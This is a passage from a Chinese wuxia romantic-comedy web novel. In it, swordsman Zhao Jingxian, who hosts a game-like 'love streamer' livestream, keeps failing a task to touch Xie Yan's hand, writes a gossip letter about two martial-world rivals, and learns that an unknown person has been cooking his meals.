赵惊弦只好说:“放心,只是同好友叙旧。”
谢厌:“赵大侠的朋友倒是多得很。”
赵惊弦下意识作答:“是啊,可喜欢的人,只有你一个。”
谢厌:“……”
他这话像是将谢厌噎住了,谢厌闷了许久也没有说话,赵惊弦便急匆匆铺开信纸提笔,想了半晌,实在不知该要如何下笔。
谢厌忽地闷声说:“昨夜我已与你说过了。”
赵惊弦盯着空白信纸头疼,一面道:“说起昨夜,我还有一事相求。”
“……相求?”谢厌一怔,“你要……求我?”
“我一人学琴学箫,实在太困难。”赵惊弦没听出谢厌话语的意味,直白说,“谢厌,若有空闲,你能教我吗?”
谢厌:“……”
赵惊弦等了一会儿,没等到谢厌的回答,赵惊弦这才回头去想他们方才说过的话,谢厌好像对“相求”二字很是在意……嗯,年轻人,争强好面子,他明白,或许是是希望他能服个软,说点请
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求之类的软话。
与剑相关之事,赵惊弦不喜欢求人,可若与剑无关,他不在乎,自然便也无所谓了。
“谢厌。”赵惊弦立即改口,“行行好,求求你了。”
谢厌:“……”
赵惊弦:“怎么样,好不好嘛?”
谢厌:“……好……好吧。”
赵惊弦弯了弯唇,这才终于落了笔,在信纸上写下了几个字。
“可你得做好准备。”谢厌语调极生硬,“我教人很严格的。”
赵惊弦:“无妨,名师出高徒,严厉些方能出成绩。”
身后传来窸窣声响,像是谢厌站起了身,朝他靠近了些许。
“我不知你基础如何,你还是得先随便弹些曲子,来给我听一听。”谢厌又说,“琴箫二者,你想先学哪一个?”
谈话之中,他已走到了赵惊弦身后,虽心中告诉自己不要在意,不必多想,也不该看赵惊弦在写些什么。
可赵惊弦与余渡的对话……哪怕他只听到尾声,也实在太不对劲了一些。
他克制着朝赵惊弦桌面上去看的欲望,却不料赵惊弦拿起了信纸,举在面前,像是想将信纸上的墨迹吹干,也正是这动作,将那信纸直接展在了谢厌面前。
信上只有一句话,谢厌还未来得及回神避开目光,已将信上的字全都看清了。
谢厌倒抽了口气,赵惊弦这才发觉谢厌已走到了自己身后。
谢厌:“你……你这……”
赵惊弦挠了挠头,小声:“看来抑毒还真是耗费内力,我怎么连你靠近的脚步声都没察觉。”
谢厌已微微睁大了眼睛:“你信上写……”
赵惊弦看了看自己的信。
简单,直白。
是他心中此刻最深的疑问,至于要不要请温怀楚或是路风满过来帮忙,反倒还是其次。
信上写着:
「路兄如晤,
近来听了些江湖谣传……你与温怀楚,不会是真的吧?」
赵惊弦:“……怎么了吗?”
谢厌:“……”
“江湖第一神偷路风满?钱隆宝庄的少东家温怀楚?”谢厌倒抽了口气,“他们两不是不对付吗?我记得路风满偷过许多次温怀楚的东西,此事在江湖上闹得沸沸扬扬,他们两怎么可能……”
赵惊弦想起了曾经在弹幕里出现过的那句话。
“宿敌不止是宿敌。”赵惊弦说,“宿敌是很有可能成为妻子的。”
谢厌:“……”
谢厌抽了口气。
“竹马也不止是竹马。”赵惊弦又说,“竹马也是很可能成为妻子的。”
谢厌:“……”
谢厌茫然低声:“这江湖……”
赵惊弦自觉接上后半话语:“是啊,真可怕啊。”
21.初期任务摸手手
二人面面相觑,足过半晌,赵惊弦这才忽而想起,他和谢厌独处了这么久,竟然都没有打开他的直播。
都怪方才谢厌突然在他身后出现,竟将他吓得连这么重要的事情都忘了。
赵惊弦飞快开启直播,第一眼,先看见了直播间的升级的特效与提示。
【***直播间等级晋升啦***】
【当前直播间等级:3】
【直播间升级到下一等级还需要达成粉丝数1000,请主播继续努力~】
赵惊弦非常满意。
短短几天功夫,他的直播间竟然已经升到了3级。
他果然很有此中天赋,他这个人天生就是了不起的恋爱主播!
赵惊弦又看向弹幕区。
【被朋友推荐来的,听说这个直播间特别好笑。】
【在公示封禁名单上看见了这个直播间,有点好奇到底是干了什么才能在这么短的时间内连封四次】
【+1 让我看看到底有多擦边】
【这是主播吗?怎么穿这么严?这样也能被封?】
【啊啊啊你们不要误会啊!他被封其实是因为猫舔O,不是因为擦边!】
【猫猫擦边怎么不是一种擦边呢】
【《关于我关注的恋爱主播其实是喜剧演员这件事》】
赵惊弦:“?”
等等,什么擦边。
谁是喜剧演员啊?他明明是恋爱区的主播,大家对他到底都有什么误解啊?!
也正是在此刻,直播间发布了几个任务。
【限时直播任务:达成直播间粉丝数 1000
任务倒计时:30天】
【初阶段非限时任务:
***与谢厌指尖相触(0/10次),单次需维持5s以上。***
任务奖励:每次触碰成功,积分奖励100,若触碰失败,则倒扣10点积分】
【主播是否接受该任务:【是】 【否】】
赵惊弦眼前一亮,立即点了接受。
每次奖励都是100,10次都成功可就是1000!
这玩意还是非限时任务,他什么时候做都可以,这1000积分等于白送,区区五秒而已,哪怕他按住谢厌的手都能成功。
谢厌可答应了要教他学琴,教导指法总需接触,十次触碰轻而易举,他只需同谢厌学一次琴便好。
至于那个限时任务……区区一千关注而已,他几天就达成了这任务的一半,剩下的500关注,还有足足30天时限,想来也不会太困难。
赵惊弦自信满满,他看了看自己已有的积分,获得直播间升级的积分奖励后,他的积分已经达到了惊人的2599,只要他再完成这几个任务,他应该就能够赎回自己失去的那柄剑了。
-
接受直播任务后,与任务相关的文字提示,置顶出现在了弹幕区之上。
【好耶,主播终于开始接任务了!】
【等等,这任务也太简单了吧?根本不可能会失败啊?】
【碰手10次算什么恋爱任务啊?这么简单,我在街上随便拉个路人都能完成】
【不是这样的,其他人可能不会失败,但请相信我们的主播,他一定会因为各种奇形怪状的理由失败的。】
赵惊弦很不服气。
他看向谢厌,谢厌则蹙眉看着桌上的信,仍未从江湖带给他的冲击中回过神来。
“我教中有燕影堂,专司情报之职。”谢厌低声说道,“这些年来,我虽不曾离教,可江湖中事,我大多都有了解,这部分我却……从未听闻……”
赵惊弦一面看着弹幕,一面缓缓朝谢厌伸手:“我也是第一次听说啊……”
“当初看见裴衡与余清晚……我便已很惊讶了。”谢厌恰好侧身避开了他,蹙眉低声,“这件事就发生在我身边,我竟然毫无察觉。”
赵惊弦只好转变方向,几乎将指尖碰着谢厌的手背:“是啊!我也很惊讶。”
“江湖果真深不可测。”谢厌摇了摇头,“也不知这天下究竟还有多少耸人听闻之事。”
赵惊弦深有同感。
不仅深不可测,他甚至怀疑自己穿越的这个武侠世界的性向分类也不太对劲,有可能根本就不在bg分类里。
“我……不妨碍你写信了,若你有空闲,迟些时候,我再教你练琴。”谢厌退后一步,停顿片刻,还是忍不住说,“此事……若得了答案,记得告诉我一声。”
赵惊弦跟前一步:“啊?什么事?”
谢厌闷闷说:“温怀楚和路风满……”
他显然觉得很不好意思,毕竟像他这般脾性的人,实在很难承认自己竟然也会对江湖上的八卦谣传好奇。
“人之常情。”赵惊弦宽慰他,借机拍了拍谢厌的肩,而后极自然将手下滑,“虽然我只爱看剑谱,可在练完剑的茶余饭后,听一听江湖八卦总是无妨的。”
谢厌猛地退后了一步,目光古怪:“你平常还关心这种事?”
赵惊弦:“但我一般没有练完剑的时候。”
谢厌:“……”
“剑道永无止境,怎么能一练就停。”赵惊弦严肃看了一眼谢厌,尝试伸手,“你也该该对你的刀道尊重一点。”
谢厌:“……”
赵惊弦:“不对,你们用刀的管那个叫什么?好拗口,叨叨?道道……刀道?”
谢厌:“……你真是有毛病。”
说完这话后,谢厌皱了皱眉,便转身走了回去,倚在床侧闭目歇息。
赵惊弦:“……”
不是,这人是练过还是怎么的?
谢厌到底怎么能每一次都正好避开他的手的?!
赵惊弦恨恨咬牙。
【看吧我说主播一定会失败吧。】
【怎么回事!摸手而已,你直接一点A上去啊!】
【谢猫猫坐下了,快趁着现在!冲!】
赵惊弦这才看向谢厌。
谢厌毕竟还未伤愈,体力难支,倚在床侧时,面色便显得有些苍白,他微微阖目,像是在闭目假寐,未曾过上多久,便渐渐地睡着了。
赵惊弦忍不住多看了几眼谢厌的睡颜,又猛地收回目光来。
不行,像他这样的正道大侠,才不会趁人之危。
反正谢厌要教他练琴,他可以把此事留到那时候再摸个够,现在……现在便算了,谢厌看起来累了,他还是不去打扰谢厌休息了。
-
赵惊弦听谢厌呼吸声逐渐平稳,尽量放轻了动作,生怕将谢厌吵醒。
他给两人写了信,却只同路风满问了温路二人的关系。
温怀楚与路风满二人虽都是赵惊弦好友,可赵惊弦还是与路风满更熟悉一些,温怀楚毕竟不是江湖人,行事手段与江湖人有很大不同。只是不知这信究竟何时会送到二人手上,路风满行踪不定,这两人谁会先回信,倒确实还不好说。
一刻后,赵惊弦将信写完了,他直接带着信离开屋子,想先下山一趟,将信寄走。
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可还未出院,赵惊弦又被不知从哪儿冒出来的余渡拦了下来。
“赵大哥!”余渡小声唤他,“我又想到了个好办法!”
赵惊弦:“啊?还有办法?”
“我觉得我们得返璞归真一些,先不谈江湖上流传的那些故事。”余渡难得露出一副极认真的神色,道,“首先,我娘教过我,要想抓住男人的心,就得先抓住他的胃!”
赵惊弦:“……”
这话赵惊弦早就听过,这理论赵惊弦当然也知道。
是他不想抓吗?
他是没有这个能力啊!
“你得先问清谢副使的饮食喜好,亲自为他下一次厨!”余渡想了想,摇头,“不对,一次厨不够,他在此处住多久,便为他做多久的饭!”
赵惊弦:“那个……”
“他醒时为他熬粥,夜中替他温酒。”余渡沉醉于自己构想的美妙画面,“满足他的所欲所求,往后他咽下每一口饭菜时,都会想起——”
赵惊弦:“你先等一等。”
余渡一怔:“嗯?怎么了?”
赵惊弦:“……有个不大不小的问题。”
“我就是来解决问题的!”余渡甚是自信,“赵大哥,你说吧!”
赵惊弦语调诚恳:“熬粥可以,可能会糊。”
余渡:“……啊?”
赵惊弦:“温酒也可以,不过我烧干过几次。”
余渡:“……”
“饭菜就有些麻烦了,我只会点简单小菜。”赵惊弦说,“糊弄糊弄,人不死就行那种。”
余渡:“……”
余渡皱起了眉。
“有多简单?”余渡困惑不解,“家常小菜?”
赵惊弦:“青菜豆腐。”
余渡点了点头:“还有呢?”
赵惊弦:“……没有了。”
余渡:“?”
“倒是会蒸鱼,剔鱼刺也很熟悉。”赵惊弦说,“猫爱吃,偶尔就去镇上买一筐。”
余渡:“赵大哥,你……不吃肉吗?”
“当然吃,烤鱼烤鸡烤兔子我也是会的。”赵惊弦道,“不过不能用锅,得架在火堆上烤,绝不会烧焦,这可是我行走江湖多年露宿练出的绝技,很了不起的成就!”
余渡:“……”
赵惊弦:“其余便算了,人活一世,凑合凑合也行的。”
“赵大哥,我有个问题。”余渡困惑不解,“如果你不会做饭……那这几天的饭食……都是谁准备的?”
赵惊弦一怔:“不是你哥吗?”
余渡:“……”
赵惊弦:“他每次来我竹庐小住,都是他负责饭食啊。”
余渡惊讶睁大双眼。
不得不说,你哥的厨艺是真不错。”赵惊弦道,“特别是那一口红烧肉,香嫩软烂,入口即化——”
余渡:“我哥他不会做饭啊?”
赵惊弦:“还有他做的——啊,什么?!”
“赵大哥,你不会下厨,我哥也不会。”余渡说,“更不可能是谢副使,他受伤后几乎没怎么离开过房间。”
赵惊弦:“……”
余渡神色复杂:“那这几日的饭菜……到底都是什么人准备的?”
赵惊弦:“……”
赵惊弦倒抽了口凉气,终于明白了这到底是怎么一回事。
对不起,余兄,对不起,田螺男嫂嫂。
你们两的事,余渡这孩子……大概是要知道了。